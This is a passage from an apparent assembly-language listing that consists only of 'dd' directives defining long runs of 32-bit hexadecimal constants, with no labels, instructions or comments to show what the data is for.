		dd 64BB49Eh, 0B611DE52h, 0D0590A48h, 31E79310h,	358F0C28h
		dd 107C2894h, 0BC00165Fh, 4E06D18Eh, 6E744162h,	0D2C4B805h
		dd 688060A5h, 13B532F0h, 1E5FFD82h, 7890A524h, 714F2AC1h
		dd 823C7C1Ah, 60B2FA28h, 8001E744h, 0F8B6AB71h,	808DDB8Bh
		dd 0A22AC688h, 0E0109DC2h, 825E2D4h, 2C74640Fh,	3E5EEE77h
		dd 16B85E77h, 7198C740h, 74CCA5B1h, 9434E28Ch, 1007389Fh
		dd 25C957C9h, 0C8017E3Ch, 51C3A74Eh, 0A00C173Bh, 60D47398h
		dd 4BF16CCh, 4C07AC30h,	7A0C401Fh, 0EB1C40D2h, 139D2B49h
		dd 0B89A3A8h, 0FB87E0C8h, 9B81DC30h, 8048C8BAh,	0E3CF0FC4h
		dd 58040022h, 82EE49h, 0AFB35EE2h, 0A7324159h, 2E07452Fh
		dd 0B87FD34h, 2F00D36Fh, 6DF2C9h, 50AC4489h, 74D47891h
		dd 0C0245724h, 0B40B581Dh, 61CC0ECh, 30962CBFh,	7151E04h
		dd 24F5941h, 0C0700AA7h, 96640E3Bh, 0A841DA01h,	2738C972h
		dd 4C122463h, 0C6544A35h, 882845D4h, 0CEFBB6BCh, 2C94347Ah
		dd 0B4E17826h, 0E10848A9h, 1E92A20h, 30A4A21h, 8240634Ch
		dd 0E255AE60h, 13CC6474h, 0B4C58959h, 0CBD613Ch, 9C10A92Ch
		dd 0B5FF8860h, 1BB1B403h, 2A682D42h, 41215469h,	2D2D89D0h
		dd 9B11C4C4h, 316A521Dh, 0C2C788h, 4784759h, 0B47EF2CAh
		dd 9F98A0EEh, 22ECE407h, 0A287C35Bh, 8009C85h, 6E9B2E1h
		dd 90785CBBh, 0D0E8B716h, 85044FECh, 0E2DC2E05h, 94B23BB5h
		dd 0DB138C4Dh, 1530A05Ch, 0E4C48641h, 0E9A10CBFh, 16830E6h
		dd 0E0C91F16h, 2F2D801Dh, 0E23680FCh, 122B42BBh, 5EDA21B4h
		dd 3C44A738h, 0B72EB118h, 13EB4F18h, 14B35349h,	3D10C8A4h
		dd 28C104E3h, 0D8F3A45Ch, 4CEDB40Ch, 774ADE38h,	5E762C82h
		dd 4FF90870h, 0ED2441Dh, 0FCB50837h, 75E0E8CDh,	2811D8B1h
		dd 795CE9A7h, 0E0D7CB08h, 942D33Ch, 68BAB445h, 80A960E1h
		dd 715BD561h, 48DCE2B2h, 0D898E83Bh, 0B664744Ch, 40E2DEC8h
		dd 2CE1D92Dh, 179C670Fh, 0B4371908h, 0CF171C4h,	98889DF9h
		dd 0E325100Fh, 4BD8C29Ch, 5676C204h, 1CECCAA8h,	71CD834Eh
		dd 18BEF5A7h, 0E3133D00h, 0F68252Eh, 0B92300DEh, 446B1F75h
		dd 9009673Bh, 0F96F82CAh, 2C1C00B4h, 29D4F931h,	0D0014A4Fh
		dd 0F78EE2D1h, 0B1B96882h, 98E904D2h, 6EB04090h, 17244C35h
		dd 8F800089h, 16A07C07h, 0D2062EE1h, 0A91F8A60h, 28822F8Ch
		dd 0C0587C4Ch, 2C89313Ch, 2A631461h, 82100012h,	0A7A91C9Ah
		dd 0F24949F6h, 0E8F52488h, 0B7B04Ch, 170A3EF4h,	498BB8FAh
		dd 2813BD34h, 9BD974A4h
		dd 2BE41100h, 0F02CF862h, 91240449h, 49C300ECh,	502626F4h
		dd 203BFCDCh, 4F223A03h, 118E189h, 1E3E9C20h, 0C112FC4Dh
		dd 48A0C554h, 48EF61BEh, 0C5A94240h, 12C46212h,	3CB0FE4Ch
		dd 0D1FC04DFh, 8319EDBFh, 500B77D7h, 464A09BEh,	33B41490h
		dd 0CC3FA0EEh, 27B9193Ah, 4479FB80h, 75A24C71h,	3CF9F9C2h
		dd 5881776Ah, 3028E307h, 0E1F496B0h, 0C4E92625h, 62BDF078h
		dd 1E97109Dh, 2831AC5Ah, 0E29E088Bh, 5268CAD6h,	5E6898C0h
		dd 0D7FCF074h, 4CCAE21Bh, 0A7BFF020h, 100D593Fh, 2DFD5500h
		dd 0AA91B0A1h, 0CB1FE219h, 48806669h, 61D1BC56h, 0B4A81738h
		dd 0F09B69BDh, 18686508h, 1550117Ch, 50ABB480h,	5A6784E2h
		dd 9B88AEEh, 59C47631h,	82C81664h, 6F01AF78h, 6AC80D54h
		dd 0DEB78019h, 275AD913h, 0BA93888h, 6C11CAD5h,	394C8498h
		dd 0C70ECCBEh, 7D06009Fh, 5EBDE6Dh, 75E252BEh, 6858B1A7h
		dd 14F39330h, 0B07D1B14h, 0C9A149Fh, 6B4E702h, 0F0406D2Bh
		dd 18CB63D2h, 91C0F76h,	0E2F0A83Ch, 3E00D326h, 0CB0557E4h
		dd 0A7DE0B23h, 0CC68B77Fh, 8C007E40h, 0EDC5E1D7h, 241FD606h
		dd 160EBA99h, 1688B744h, 64605A91h, 90DB2F49h, 1FC10048h
		dd 6AE8B88Fh, 0CE0E7BDCh, 16498767h, 0F7A42CC7h, 154B83C0h
		dd 0B5210059h, 0A9D8DED4h, 80175BBFh, 18163E63h, 0C5AC2A07h
		dd 68D58FC0h, 128498ADh, 2403C42Ah, 46ACEDC0h, 41AC13C0h
		dd 702B9022h, 6DC420E8h, 0DCB50615h, 0B1B781ACh, 30825F0Ah
		dd 0C62AE2D2h, 982E3449h, 0A9406524h, 809CBC69h, 22D6F1DFh
		dd 5814064Ah, 26A43527h, 7826EC50h, 827D493h, 0E01C0BE9h
		dd 0BC1692DCh, 28598A50h, 0C8449058h, 0A3DE0B75h, 0EB25B050h
		dd 0A90800B1h, 16735C6h, 6477D480h, 88DA66D5h, 41342E18h
		dd 6804B1B2h, 0DF280038h, 1AA7510Ch, 7360CB72h,	0E083BC6Ch
		dd 38E7E980h, 404CA916h, 59C0041Dh, 9B82E850h, 51292727h
		dd 37A72481h, 0E7488064h, 4EBFAC31h, 6AC928DEh,	67677E4h
		dd 0A5B194A8h, 712560E0h, 5620A2D4h, 0DF88C84Ch, 37E70D9h
		dd 0A10632C7h, 44A05377h, 0B118039Eh, 5616F843h, 10163CF3h
		dd 0A9BEE33Dh, 0C0254C1Fh, 0F732AF6Bh, 0B93EC767h, 8D007889h
		dd 69DBCB87h, 0B3F3C6Eh, 7AD37CCFh, 8590BC01h, 4E67C8BFh
		dd 0E6A13E09h, 0FC40103h, 188F4F2Eh, 38871650h,	0C710CC80h
		dd 43C93100h, 7B1069C3h, 0A2D918E3h, 0E13EB032h, 0EF81DE00h
		dd 66B12092h, 0BE98038Ah, 2930E8E0h, 65F36380h,	0F20FD403h
		dd 0E136FC2Ch, 0B100AA8Ch, 48C66369h, 58E0F085h, 3607B07Ch
		dd 81C3EADBh, 986CDF6Eh, 6105020h, 38E30063h, 0B1E9F78Ch
		dd 84004381h, 307D135Fh, 3D9A64B9h, 0E05053Ah, 0C3867F62h
		dd 15D065DFh, 0AC0080CBh, 0E4EE0CE8h, 68B1C4B9h, 3E90306Ah
		dd 9BF03403h, 72E0D11Bh, 943EB844h, 680200BEh, 0D9D28CC7h
		dd 0B0C6676Eh, 98C366D3h, 0C2C8671Fh, 10BE680Ch, 9C0352E8h
		dd 3DCF5A0Ch, 5B0D0E30h, 18878FE3h, 149D86E0h, 0F091039Ah
		dd 90A1260Eh, 0B17CCE67h, 8081F648h, 47A6AD29h,	7801ABDBh
		dd 0EE5D3B9Fh, 0A3081680h, 3CCB5AC3h, 0E36B61C0h, 0C915181h
		dd 9B84D920h, 0E83BDED8h, 2783000Dh, 0CA77B1AAh, 19FCF6EAh
		dd 0A84DD290h, 9A30203Ah, 0CE37388h, 466341B3h,	0B87A0F88h
		dd 1E630C92h, 1D9E7FA8h, 40F77A10h, 4063B607h, 46009775h
		dd 6B1A48C8h, 0A82B274h, 0BBF46E7Fh, 8EDF008Ch,	0F8758415h
		dd 90DDF106h, 148A82Ch,	0E8E36DA1h, 0CCFCD301h,	820CD808h
		dd 207E0D90h, 63AD2830h, 18B348D4h, 65C5024h, 9924060Fh
		dd 580E49h, 0E1AB8CFAh,	0A3C444D9h, 0F890A88Ch,	0D429C19Bh
		dd 25F77FEDh, 40A40238h, 0E83F4044h, 0F9C00305h, 0C25F31F2h
		dd 6B08812Dh, 0F848A506h, 0D0E05430h, 39D13C68h, 10D0781Ah
		dd 8E37B883h, 0DE7283Eh, 61F0EDCFh, 16CBD0h, 0BA9637E3h
		dd 0BB3BEF74h, 0F843992Bh, 80030F12h, 76030D34h, 313F0008h
		dd 33EFD5E8h, 0C490F1BCh, 6560D974h, 0EB5A3530h, 87450EECh
		dd 0D198D0CFh, 47003F43h, 77379BD8h, 0BF737Eh, 689BCEBh
		dd 46B1FA39h, 0DDF8F701h, 0D56C374Fh, 19CA0031h, 0B821E8h
		dd 7931DD4Ch, 98B26B1Ch, 6263F180h, 342F848h, 0ED6F0D4Eh
		dd 0E9008C92h, 283F16D3h, 6DD5620h, 0AFD91158h,	30A9487Bh
		dd 8C4004B1h, 83625A8h,	48C87CA5h, 7098C847h, 0F506C346h
		dd 5435D942h, 33C0030h,	509CCFA5h, 86306F39h, 5E188B1h
		dd 612F603Ah, 30870E62h, 0C0DF19F4h, 0F37D9482h, 9F1541F8h
		dd 38205BE5h, 34F900D5h, 0F76FB197h, 0FC4869C6h, 0C9390104h
		dd 7719EDEAh, 0D9080504h, 0DE884347h, 0A7E2303Ah, 4442646Ah
		dd 629E1090h, 1D2CD360h, 0EC9110CBh, 0C1066AAAh, 93296138h
		dd 0D9EBE8C2h, 1808FE33h, 667AF0E0h, 0E6603EDDh, 5C64510h
		dd 0F14840D1h, 9006C821h, 0DA264823h, 78028F7Ch, 9013EC84h
		dd 0F2D68AD0h, 6C13F1E2h, 0E51D4864h, 6EEBB241h, 4083CAB8h
		dd 0AC57303Fh, 69125800h, 8DF64740h, 0FD2B06E7h, 0B19F216Eh
		dd 0A4020BE6h, 0B5D9C938h, 0EDD48595h, 0FC496F84h, 0CDD882E3h
		dd 2CA009BBh, 82308986h, 8F600460h, 78A544ADh, 32AA1A1Dh
		dd 144008E1h, 0FCAA8A06h, 86F78040h, 65A2E08Bh,	0F3870018h
		dd 90DCC950h, 0E0C09780h, 66158D94h, 864F3BA0h,	0B1BB9C09h
		dd 1A6EA838h, 282349h, 7B9E82AFh, 670B1h, 2913A6A9h, 288B3040h
		dd 121530C0h, 6FF77Eh, 0F1F31E8Ah, 0C11B9084h, 797F98C0h
		dd 0E42FEFh, 0B16C55C7h, 0C462D661h, 6AB4D58h, 0AA6D9BEh
		dd 58E32478h, 56343AA0h, 8080308h, 0EF1C58Bh, 0D7148063h
		dd 0A1463A01h, 0F46CE465h, 3531CFEAh, 2C0FB749h, 297A3CFh
		dd 934BD997h, 9022948Eh, 0D84844D5h, 2DF0DEFFh,	42106560h
		dd 53BA12Eh, 5D6EDAE8h,	58C8008Ah, 0A844013Fh, 0FF9224Ch
		dd 0C120C792h, 10CAE85Ch, 7BD95060h, 489C88B1h,	87B5DD39h
		dd 0FDC55B6h, 0C5710726h, 88C5DE60h, 5C90ED80h,	0AE5DF898h
		dd 3C6B1E44h, 23A51509h, 0E4634490h, 3602E600h,	0D260806Eh
		dd 0B1189210h, 0FFA20B4Eh, 1C82B009h, 684079DBh, 0FB6929D9h
		dd 36882238h, 7D882DDh,	0C0BB05B9h, 0FCD99478h,	7C281560h
		dd 0B26FE353h, 3B48B090h, 9C2CBE5Ch, 9581038h, 806FF19Dh
		dd 0BAEF460h, 0F04E4C4Ch, 474F5300h, 6EE150D4h,	7C921B7Eh
		dd 0DB16EB01h, 10796708h, 0CC08DC45h, 0FB3B1F62h, 29A53189h
		dd 88FE4480h, 600EF39h,	0A115BCA4h, 0F0C5C842h,	9908A08Ch
		dd 58D55868h, 0C6965300h, 0FB76B1D7h, 9E83C000h, 3B690FF0h
		dd 17AC024Dh, 2C8C90FAh, 6E02D4C8h, 68267224h, 0B8985818h
		dd 0BBE30B4Bh, 770143A1h, 25FC5EEDh, 0D12082C8h, 6690913Ch
		dd 0F98C061Ch, 992DF447h, 408A451h, 0EDACC183h,	0A0300016h
		dd 5838C091h, 0D977D2D8h, 4833BA34h, 49909CCCh,	4204043Ah
		dd 0C2EEA136h, 94808D04h, 25DA6EAEh, 21F0B0C4h,	1C44CF84h
		dd 40167A22h, 5E166408h, 301821D8h, 8378941Bh, 1FD71C7Dh
		dd 2F8D0D9h, 0B9A035D6h, 0DE58E850h, 2CD1EC38h,	80EC9B6Eh
		dd 5C5A9235h, 30F14826h, 0A0AB0418h, 5137D9C0h,	4601E41Fh
		dd 8307C616h, 475FD313h, 0D0607C34h, 75B85Bh, 0FD48B474h
		dd 6AFC5220h, 0B1AC061Dh, 307851C2h, 0B9F8C9C6h, 0B000E071h
		dd 1702B98h, 0C1894664h, 945053D9h, 8884B5B0h, 4E8895Eh
		dd 6AB31048h
		dd 0AC42632Eh, 7258388h, 838EF347h, 100D59CEh, 71DBCCAFh
		dd 7E1860h, 0F36AC09Bh,	86D83B68h, 0A8139572h, 6C0B3729h
		dd 0B3A003Dh, 0BFC8A97h, 0B6329E61h, 78397C03h,	0D5738690h
		dd 1319DF00h, 18EC5E2Ch, 92CD4C95h, 803F481Dh, 8050D08Ch
		dd 0AD3E0646h, 9E10051h, 9088DC08h, 98196056h, 8B6E7C71h
		dd 68BCD750h, 0ED6B2005h, 0F044FAADh, 9CC0DFAFh, 5C5BBA95h
		dd 40740491h, 0B601AA08h, 64F487C0h, 0A4603F94h, 73CA7CF0h
		dd 85143A34h, 0E242300Ch, 4E81B7F8h, 14284C71h,	6210BC59h
		dd 6CB10004h, 0E36BBFEEh, 5435E790h, 1A376070h,	28AB5430h
		dd 0A118C1h, 72DD0CA0h,	50E2613Eh, 41085FD9h, 72802D4h
		dd 0B8B4D3C4h, 4D10B25Ah, 0D909DC32h, 0C48988D1h, 0B9C3E803h
		dd 0B57A4388h, 35767103h, 34DD3D9h, 9AA0AE30h, 50A80E63h
		dd 6098E0EAh, 0F9C8E720h, 0A210A426h, 0DB470016h, 2629E77Fh
		dd 25B978ADh, 0FC0491F8h, 3AB81506h, 0E7DF80C7h, 76E712Eh
		dd 0DA18C0E0h, 334E140Eh, 8A4430EFh, 9DB8D302h,	0E83E3020h
		dd 0A433158h, 81DE483Fh, 9353136Ch, 0C4B9122Ch,	730C2C13h
		dd 0ED06A8B3h, 2CB1B5E6h, 88D8D0BCh, 0B89787F4h, 2CD9C003h
		dd 8E104812h, 0BA2EAF09h, 54036029h, 43D58530h,	0A8126BDCh
		dd 6490F0D0h, 0F05016F1h, 869492B7h, 0D9A92040h, 16FBF01Eh
		dd 9AF7940Bh, 0D0105840h, 2058F839h, 46069842h,	38E281F7h
		dd 990D90Ch, 81F1197Eh,	2BE601CBh, 41145060h, 87884443h
		dd 0D51D0840h, 0BE34F87Fh, 0C0071056h, 0A1BF312Ch, 7147B2EAh
		dd 0A7F0E5E5h, 3E337C24h, 6B1FAFD1h, 66E08F68h,	0E31B31E0h
		dd 19203038h, 91B17EA9h, 50350404h, 1138B3D4h, 5078DC48h
		dd 0E26EB004h, 204A60ECh, 0BCD9094Fh, 0E406A1CAh, 0AC96502h
		dd 8B5C61D0h, 9CA02444h, 80392090h, 8DDD071Eh, 0A1BC0E0Bh
		dd 55DFD9A8h, 6B104889h, 0F3F804C8h, 0E28A6E19h, 16EC9A48h
		dd 4A3D1881h, 60DF5036h, 0C96C9380h, 0B064B528h, 98860E00h
		dd 2D5AD289h, 0F0DCE84Fh, 1A6F010Fh, 4A6ED9F0h,	0C030A44Eh
		dd 0B2BE0039h, 5FF88BA3h, 86CE02BCh, 20D99C8Eh,	3DDD2848h
		dd 89619F3Ah, 6AB302Ah,	2EA93A40h, 884FAE8h, 8400933Bh
		dd 0B87A72B1h, 58DB02B0h, 0FF80D92Dh, 409570E9h, 0AB1949ACh
		dd 535110E4h, 68F80278h, 48C9F0A9h, 89214DAh, 6804E858h
		dd 508F306Eh, 1303EC0h,	2C74C049h, 6E865074h, 18E1513Ch
		dd 20EB6030h, 41023F64h, 92ACD9C9h, 70046015h, 0B9B30F82h
		dd 7D841D68h, 0B830C3A0h, 306E6839h, 901980B6h,	0F8EF63D1h
		dd 0E7F8FD47h, 0D0DD004h, 5A12A08Bh, 27BEF7F0h,	30143CEFh
		dd 0A18FB509h, 300C3069h, 0F464F7B3h, 480100DBh, 0A11816C8h
		dd 4D4A6E6Ah, 8A64A000h, 43BF3Fh, 24EBBEECh, 8FA2D9F1h
		dd 7087A8D3h, 4857883h,	988E0510h, 1E988058h, 0B6CF70B2h
		dd 71A687F3h, 6E7DDC0h,	0D628C3A0h, 39490AD9h, 97900044h
		dd 40218076h, 84770B3Dh, 5681E8A7h, 60EA45E4h, 0FF048C7Ch
		dd 19928EEEh, 9F5324C0h, 20A75CB0h, 0FC6B510h, 6BB48B2h
		dd 5C109C86h, 9E0541CFh, 969EBD9h, 0BC842988h, 24609A3h
		dd 519A6368h, 10359258h, 0D684A060h, 3101C690h,	0EC96A090h
		dd 66880E09h, 0A80803D0h, 2ED5D9C3h, 90DB1006h,	38B88Bh
		dd 27F6CD80h, 0FE25D9E1h, 68DC20C5h, 8746FCC0h,	5D3D00C3h
		dd 82580B14h, 2B01CC1Fh, 0D904F0CBh, 30A613A0h,	0D707C004h
		dd 2216A782h, 7804D63Ah, 0B202F5DFh, 28C1C878h,	9146086h
		dd 0AD716E10h, 91C3EE16h, 0E1D16724h, 583067FBh, 0A4214A20h
		dd 1880BAF5h, 0BD6208E8h, 0D916D38Ch, 348682F9h, 886E2651h
		dd 0D80BCD0h, 485D612Dh, 730415DBh, 0A36E5152h,	846648B1h
		dd 3CB72Ch, 7F6DF19Bh, 0B626FAF8h, 8303CBFh, 0B9D2C7AFh
		dd 26328580h, 6E8891A1h, 0C051A8DFh, 5851E864h,	0F6A184D0h
		dd 5465EF90h, 0E6B4E2DAh, 24A4909Ch, 701C0Ah, 0C75A7D35h
		dd 3100C3D6h, 0DAC83D55h, 9E8E406Eh, 52324D6Ch,	0A0D80188h
		dd 0EC70902Ah, 6302E494h, 0C89B8130h, 7E3C6DB4h, 0DC6E189Eh
		dd 0AF3848A8h, 62A27F07h, 902169D5h, 0A080C8AAh, 7464B1A0h
		dd 0A87177E9h, 8A522A62h, 0CF4841C3h, 1FA487D0h, 16F3D48h
		dd 0EFD9C485h, 0A9C040B9h, 0BF1CEB20h, 106DBE6Eh, 3EA80E38h
		dd 6F78FC50h, 7AC01844h, 0C299DC93h, 2C4CB100h,	90D248E1h
		dd 0C86B64E6h, 1743C596h, 485422B8h, 982C6009h,	1DE7E66h
		dd 0AEBDE67Eh, 0E870F1B6h, 5001B186h, 0A597E407h, 51845590h
		dd 0C2598D30h, 284635D4h, 99F13E20h, 5E9788C8h,	0CEC44800h
		dd 2471FF5Ch, 2DB8D46h,	0BBFCF36Fh, 0EA141C48h,	313CFAFAh
		dd 82C2852h, 0DED86C03h, 0E89047A9h, 0FB8C95h, 0CF06837Eh
		dd 6E352DA8h, 78A1FF30h, 74586C01h, 0D9970CD3h,	0D29857B5h
		dd 62C9248h, 4EE190DAh,	0C30E790h, 356C2C0Fh, 3240BCA4h
		dd 0D811A861h, 0BC2CF96Eh, 0D6019916h, 0D7062854h, 7FA9D9C6h
		dd 2DB20860h, 0E20894C8h, 1AF612B7h, 30828C68h,	9471AC75h
		dd 0AC1E0413h, 0C89F2EFCh, 882074A8h, 0ED650BA9h, 0C8A2D607h
		dd 9B04D54Bh, 0F8CC4C2h, 0E6DB1205h, 619C54B4h,	7F508B40h
		dd 0D40C500Eh, 16040D9h, 0F625B490h, 0B6E8A42Eh, 0BE5DD903h
		dd 1AC5858h, 44981FAh, 14221830h, 42656D0Ah, 0D5D8890h
		dd 1CD99D02h, 0A68C6826h, 6E630CC5h, 0D5A02952h, 4CD9A008h
		dd 0C2193E6Fh, 2150181Eh, 0DCE0E074h, 0F839A8C2h, 0D94CE8FDh
		dd 30E560D0h, 0B126F0D8h, 3025484Fh, 7B045C05h,	1E089C14h
		dd 550010AEh, 0F93D6294h, 0F19F0BE5h, 0B58C8DDCh, 0B95C57F8h
		dd 5E8A1C4h, 64068022h,	18F9186Eh, 3338FCEDh, 730150Dh
		dd 1C60F9DEh, 99A8E6AFh, 93D8A254h, 0E6504B4h, 0DC8E384h
		dd 589B736Eh, 0F0B2822h, 6CC458A8h, 3FF09018h, 7EDA7A10h
		dd 0C7FD0084h, 0BC32E854h, 0A448EB87h, 0CA2207E4h, 2AC0AA23h
		dd 48056309h, 0DC019CF7h, 68B25593h, 8E0A03Dh, 0F4483A00h
		dd 4FEA3179h, 7425F57Ch, 0DF04DC3Ch, 8D30D00Fh,	3C2EE478h
		dd 0C47F2C1Ch, 0B3B7D5Dh, 813F4731h, 0E70460A4h, 0D0A586FCh
		dd 534A0858h, 0B4BC1490h, 28E92610h, 0C899D00Eh, 0B49B8C22h
		dd 0A0AC8604h, 5E9490E0h, 6D7C05CFh, 0E88D10Ch,	0DB88D273h
		dd 0D561C0D4h, 2A0040DFh, 3BC40FD9h, 452C664h, 0C83F46B9h
		dd 0B62085FCh, 8C900C40h, 97F4070h, 0E85E9F08h,	0B01084C3h
		dd 56023414h, 9CBBAF85h, 0C4F09Ah, 3E3DF080h, 8709F878h
		dd 2B2DDC90h, 8AB4007Ch, 0F0090FA7h, 507AB8C8h,	0F59D08A2h
		dd 6E0D3029h, 0F890CC63h, 0BCAC2331h, 4C187701h, 0D3FE3010h
		dd 3C6E5424h, 9E2CF85Ah, 1A3F00C8h, 4FB98840h, 10D439E9h
		dd 0F0005ACFh, 0C8A806E1h, 580FD21Eh, 0C0961D9Dh, 0AFAE78A2h
		dd 0BC210BC4h, 0A8428102h, 5842F04Bh, 20344CACh, 0EEDA17A0h
		dd 1475CBh, 0A13FDD68h,	0C0206E69h, 84AC96CDh, 0B239580Fh
		dd 402D7840h, 90249033h, 5CC54CEAh, 0D7D53C78h,	10D8EB18h
		dd 6528B997h, 0C4503464h, 7B006248h, 0DC35E212h, 1D15C2E9h
		dd 0FAEDD8h, 31A7376Dh,	0CA7C5784h, 0E26AB700h,	4F42A0BAh
		dd 0C7EDE82Dh, 40A20730h, 0C6258C59h, 720D3109h, 629300E2h
		dd 7C90B82Fh, 0E8B00066h, 0F9A6C242h, 6A72DFB9h, 3505E70Ch
		dd 0D82084h, 0CE399B10h, 61F7DED4h, 754FF63Ah, 3757DC00h
		dd 9FA8B56Fh, 313E30D8h
		dd 0C28A0768h, 420CB871h, 49F7F1AEh, 205360DFh,	352AE528h
		dd 8F4D6D1Bh, 8B94D0C8h, 0F43A12B0h, 3470000Eh,	871A0843h
		dd 730145F6h, 5762FB0Dh, 0B1D8680Ch, 93D8189Ch,	0A9AD9889h
		dd 45769F00h, 63F0C481h, 8F900060h, 3DA50580h, 981E91B5h
		dd 9D8C7C30h, 1995D8BDh, 904DF6D8h, 838C470Fh, 1076294Bh
		dd 18BE0E1Eh, 0A4EF94h,	0CE1EA96Dh, 1DA0027Bh, 764323Eh
		dd 80279359h, 2F4280B8h, 995C8C0Eh, 1D308039h, 0F4A5175Dh
		dd 1BA0EC4Dh, 78AE468Fh, 0E7D005C5h, 19B02002h,	0C2003C74h
		dd 38B28057h, 513A8F1h,	316DF24Eh, 9012D9h, 37C4C633h
		dd 0B76E6ABFh, 429001B0h, 5B2125F5h, 8882CEC9h,	0BCDDD85Ah
		dd 8F008C8Ah, 9A83A8B6h, 78A0B0B8h, 0EC00A355h,	387330BEh
		dd 11BC647h, 0B599A910h, 8805399Eh, 4B671B0h, 800FFAEFh
		dd 6240B030h, 2D91C660h, 1269F249h, 104718F0h, 61000818h
		dd 75B9CF3Ch, 12018FD2h, 9E997BD5h, 944198BAh, 0F885178Eh
		dd 4620F57h, 0CFD93BCh,	6F9C110Dh, 0EDC9C0BEh, 0EFD17000h
		dd 6850B023h, 4EF28F40h, 1804A0D4h, 451867AAh, 60CE0085h
		dd 277D623Dh, 9E7B8FD9h, 0EE7428C0h, 282FB7ACh,	31D453C6h
		dd 0F59088BAh, 9010B567h, 824F9032h, 9820EF84h,	8169523Ch
		dd 91BC404Fh, 0DE3615D2h, 8ED008E1h, 0BC0E1A94h, 48F310Ah
		dd 5E676A05h, 72211F20h, 19003D11h, 9004D235h, 721520A8h
		dd 2F0047EAh, 0C18F456Ch, 0F27AF3CEh, 668020DDh, 9C5A0D28h
		dd 602F49h, 2B698C05h, 3FC764E1h, 854D2CBh, 0E7DA09C3h
		dd 402430C4h, 95D8986Bh, 99D36E00h, 527B15F2h, 6D6909E2h
		dd 38A4E873h, 9E7A0FDAh, 0C88E45C7h, 1EC74C07h,	84084706h
		dd 0E174A1A0h, 0B5033080h, 1D6DE331h, 0EF48BA63h, 830DE0EAh
		dd 5F80282Fh, 62F038C0h, 51F74780h, 0D9C0B7Eh, 0B026DC90h
		dd 0E60050C0h, 30DECAACh, 5910C2F8h, 80AC01A2h,	53018A90h
		dd 6D296A4Eh, 6892CE2Ch, 7100432h, 0EC28809Dh, 81D4CF21h
		dd 0A83C02ECh, 80921722h, 0BE8569F7h, 20F8AE9Dh, 0F700A399h
		dd 2763DAC2h, 1130825h,	87A9E9EFh, 50F1BDD2h, 4F35DF98h
		dd 0AD206DF2h, 3671DD3h, 50399AD8h, 0D2A59F60h,	9202BF7Ch
		dd 798F8C15h, 6A644875h, 250E18D3h, 5B2F1024h, 0B08C5850h
		dd 0DBC8410Bh, 3B7D0712h, 81F6985h, 92C48FFh, 83BE923Ah
		dd 0C1354500h, 8934962h, 14AC1436h, 2FDE6D82h, 184F6460h
		dd 3877B800h, 8F82D207h, 785B6028h, 9DA741C3h, 1A48048h
		dd 89BEADF2h, 98240E67h, 28F55047h, 0D7A10005h,	0C761C218h
		dd 7F306DF6h, 9130F893h, 111C20D8h, 27EFD51Eh, 1057B50Ch
		dd 0B29906D2h, 0A9388015h, 0D8303A12h, 0FD703600h, 0C6550B6Dh
		dd 8C24B48h, 29416635h,	4D32CC46h, 0A4E54C08h, 0A140A68h
		dd 0BE508897h, 902E4301h, 0E3FFEF18h, 0B00814F5h, 3B4E8210h
		dd 382F8AA4h, 0D839B869h, 2EDB1000h, 6C07348Bh,	813EC7F3h
		dd 0E0958078h, 0EAE8A8E1h, 6B9424F1h, 570EB89Ah, 878350ECh
		dd 31C96A0Dh, 1430EF28h, 46170132h, 0C38FDCD7h,	4EB881ABh
		dd 0E6686DCDh, 413E2886h, 8C9F125h, 8EC8236h, 7478C6B3h
		dd 0D89B4D69h, 2ECCAC7Bh, 69084A03h, 0A88F2C01h, 7CC430E4h
		dd 12A90101h, 375AD88Ch, 0E0207865h, 8FE009D4h,	42522A4h
		dd 9E58060h, 0ECB84234h, 0E812603h, 0C0C1F4A9h,	4DBCD81Eh
		dd 0E6705044h, 839CA0D0h, 0E80D835Dh, 0D0F1566Dh, 0B0AD97C0h
		dd 401348F8h, 200E126h,	618C8FD8h, 0DBCAB048h, 0FA1F673Dh
		dd 0AC585568h, 5C03CE96h, 5CDD72Fh, 650569E0h, 8F856C7h
		dd 212F564h, 0D89A8001h, 99B14612h, 0E2663E89h,	0C3888F01h
		dd 0DB468440h, 13EE0491h, 14811D8h, 5897A805h, 481744E8h
		dd 0CF0418D7h, 0C07006A0h, 8F3BD64Ch, 78AD083Eh, 0D908DF50h
		dd 0BA6536FEh, 0C40145A8h, 0F7D8046Fh, 0DE5802C3h, 0A8BA2967h
		dd 0EC12A04Eh, 0C31A970h, 0A982643Eh, 0B76B1167h, 0C184EC63h
		dd 710DF5CCh, 0E915E1ECh, 184C2057h, 0E5448F19h, 5CC16BD0h
		dd 0C0DC1BE0h, 0DEDA4710h, 500A4160h, 80FFDF6Dh, 4F31AC99h
		dd 5D6A820h, 616CF114h,	37B601EAh, 20804273h, 0A874D978h
		dd 0AC68A000h, 6FB19EA5h, 0F2EE1E8Bh, 0D82B0B04h, 0A69C9808h
		dd 0F6E1077Ch, 838BBFF7h, 0ADDA40A7h, 0A448EAA8h, 0C35C860Dh
		dd 0F5348E7Ch, 8FD40684h, 5918A129h, 9985A09Eh,	684488B1h
		dd 0C248EC18h, 0B25437C9h, 6DD70A9Ch, 859C85FFh, 0D30ED83Bh
		dd 38780F08h, 107E5330h, 465537h, 159040FAh, 2FD147B1h
		dd 88C01D71h, 4B3EE68Ah, 9505012Dh, 7A09E9A4h, 0B26DD0E7h
		dd 595C1F48h, 396485DCh, 0F082D825h, 0C2470017h, 7C01CBF2h
		dd 2FB885C5h, 2C306099h, 68C85D1Dh, 26EFD402h, 80A58034h
		dd 98781181h, 0B00F6D1Eh, 0BED83FD1h, 30242D41h, 184750B0h
		dd 0A80AA30h, 0A0A824F4h, 306E0E20h, 95B1E5DCh,	9048BAA0h
		dd 924610A4h, 13989078h, 0A0F6593h, 0ABCB218h, 34CF447h
		dd 3B368FD3h, 7C78D828h, 2845B007h, 6723F5BEh, 816DC237h
		dd 0F0473808h, 901A3863h, 60C0C9F8h, 0C44CA705h, 393D88E8h
		dd 59958960h, 39DC7749h, 144C9D50h, 248FED8Bh, 98209689h
		dd 98BAE862h, 3301B891h, 4A6DD44Fh, 5C2072D3h, 0B8807079h
		dd 0CAE397Ch, 0D8109A61h, 502087B7h, 1CA25805h,	14C52F82h
		dd 0C33C5723h, 5541706Dh, 59E4DC49h, 0E530C2B2h, 0B46B352Bh
		dd 80F4D0DCh, 2F00E6A0h, 0AEA404B5h, 3C374E19h,	0AF00F877h
		dd 984DCF35h, 8730D807h, 0B773682Eh, 0BD75202Fh, 9105B09Ah
		dd 1E763B8h, 43B2B820h,	414C62h, 0CE943A05h, 6B80C1F0h
